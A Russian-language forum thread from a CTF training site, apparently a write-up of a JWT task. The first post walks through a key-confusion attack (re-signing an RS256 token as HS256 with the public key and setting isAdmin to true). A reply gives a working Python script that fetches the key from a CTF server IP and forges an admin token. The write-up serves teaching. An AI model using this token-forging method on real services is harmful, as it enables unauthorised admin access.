• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

CTF Момент с JWT

photo_2023-04-11_12-53-19.jpg

Первым делом, нужно сгенерировать наш токен.
ИМЯ

Сохраняем токен, и также получаем публичный ключ аналогично. Их нужно сохранить в разных файлах, один jwt.txt, другой key.pem

Следующим действием необходимо скачать PyJWT, именно PyJWT, удалите jwt и старый PyJWT
Python:
pip3 uninstall jwt PyJWT
pip3 install PyJWT

Затем из GitHub скачиваем утилиту для того чтобы сгенерировать нужный нам токен: GitHub - aurainfosec/jwt_key_confusion: JWT key confusion attack, i.e. re-sigining RS256 to HS256

В коде нужно изменить 2 параметра
Код:
claims = {"isAdmin":True, "name":ИМЯ}
headers = {"typ":"JWT", "alg":"HS256"}

Запускаем утилиту следующей командой и ключами:
python3 jwt_resign_asym_to_sym.py -k key.pem -n
-k - где лежит наш публичный ключ
-n - выдаст только один токен

Вставляем сгенерированый токен в браузер:
ТОКЕН

Радуемся добытому флагу!

Видео на YouTube:
 
Последнее редактирование:

Exited3n

Red Team
10.05.2022
676
215
BIT
405
Решил разобраться с этим таском плотнее, узнать и понять как генерировать JWT без использования сторонних библиотек и сервисов таких как pyJWT, python-jwt, token.dev и пр.

jwt_ng1_en.png


Header, Payload энкодим в Base64, склеиваем их с точкой между собой и на основе данной строки высчитываем signature.
Потом склеиваем все вместе и получаем JWT.

Написал свою реализацию на питоне:
Python:
import requests
import json
import hmac
import hashlib
import base64


def site_req(url: str) -> dict:
    with requests.Session() as s:
        req = s.get(url)
        req = json.loads(req.text)
    return req


header = {"typ": "JWT", "alg": "HS256"}
payload = {"name": "exited3n", "isAdmin": True}
secret = site_req('http://62.173.140.174:16005/get-pub').get('pub_key')


def jwt_gen(header: dict, payload: dict, secret: str) -> bytes:
    jwt_parts = []
    json_header = json.dumps(header).encode()
    json_payload = json.dumps(payload).encode()
    jwt_parts.append(base64.urlsafe_b64encode(json_header))
    jwt_parts.append(base64.urlsafe_b64encode(json_payload))

    merge_payload_header = b'.'.join(jwt_parts)

    signature = hmac.new(secret.encode(), merge_payload_header, hashlib.sha256).digest()
    jwt_parts.append(base64.urlsafe_b64encode(signature))

    return b'.'.join(jwt_parts)


print(f'JSON Web Token: {str(jwt_gen(header, payload, secret))[2:-1]}')
print(site_req('http://62.173.140.174:16005/check-jwt/' + str(jwt_gen(header, payload, secret))[2:-1]).get('msg'))
 
Последнее редактирование:
  • Нравится
Реакции: Immensa, D3L1F3R и GoBL1n
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!